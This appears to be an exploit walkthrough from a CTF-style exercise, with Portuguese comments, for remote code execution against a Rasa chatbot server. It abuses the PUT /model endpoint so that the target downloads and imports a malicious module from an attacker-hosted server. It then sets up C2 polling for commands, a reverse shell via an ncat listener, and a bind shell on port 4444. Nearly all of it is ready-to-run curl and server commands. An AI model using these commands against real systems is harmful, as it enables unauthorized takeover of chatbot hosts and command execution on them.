python server-1.py

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

version: "3.1"
intents:
- greet
responses:
  utter_greet:
  - text: "PWNED_BY_CTF"
nlu:
- intent: greet
  examples: |
    - hello
    - hi
rules:
- rule: greet rule
  steps:
  - intent: greet
  - action: utter_greet

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

python reverse_server.py --reverse-host 192.168.244.128

Máquina atacante(Rasa)          Contêiner alvo(target)
  │                            │
  ├─ Iniciar server-2.py ─────┤
  ├─ PUT /model ──→ Baixar pwnmod.py para /app/
  ├─ PUT /model ──→ Baixar modelo malicioso → import pwnmod → agent inicia
  │                            │
  │  ← GET /poll?agent=xxx ───┤  Polling a cada 3s
  ├─ /enqueue?cmd=id ─────────┤
  │  ← GET /poll ─────────────┤  Obter comando
  │  ← POST /result ──────────┤  Enviar resultado
  ├─ /last?agent=xxx ──→ Ler resultado

# Iniciar na máquina atacante
python server-2.py --mode c2 --c2-base-url http://<IP_atacante>:8000 --port 8000

# Disparar exploit (dois passos)
curl -X PUT http://<endereço_rasa>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<IP_atacante>:8000/write-module"}}'

curl -X PUT http://<endereço_rasa>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<IP_atacante>:8000/model"}}'

# Enviar comando
curl "http://<IP_atacante>:8000/enqueue?cmd=id"

# Aguardar 8 segundos e ler o resultado (agent faz polling a cada 3s + tempo de execução)
curl "http://<IP_atacante>:8000/last?agent=<hostname>"

# Sem especificar agent (usa curinga)
curl "http://<IP_atacante>:8000/enqueue?cmd=whoami"
curl "http://<IP_atacante>:8000/last"

# 1) Máquina atacante inicia listener
ncat -lvnp 4444

# 2) Máquina atacante inicia server-2.py
python server-2.py --mode reverse --reverse-host <IP_atacante> --reverse-port 4444 --port 8000

# 3) Disparar exploit
curl -X PUT http://<endereço_rasa>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<IP_atacante>:8000/write-module"}}'

curl -X PUT http://<endereço_rasa>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<IP_atacante>:8000/model"}}'

# 4) nc recebe o prompt $, interação direta

python server-2.py --mode bind --bind-port 4444 --port 8000
# agent escuta em 0.0.0.0:4444 dentro do contêiner
# ncat <IP_alvo> 4444 para conectar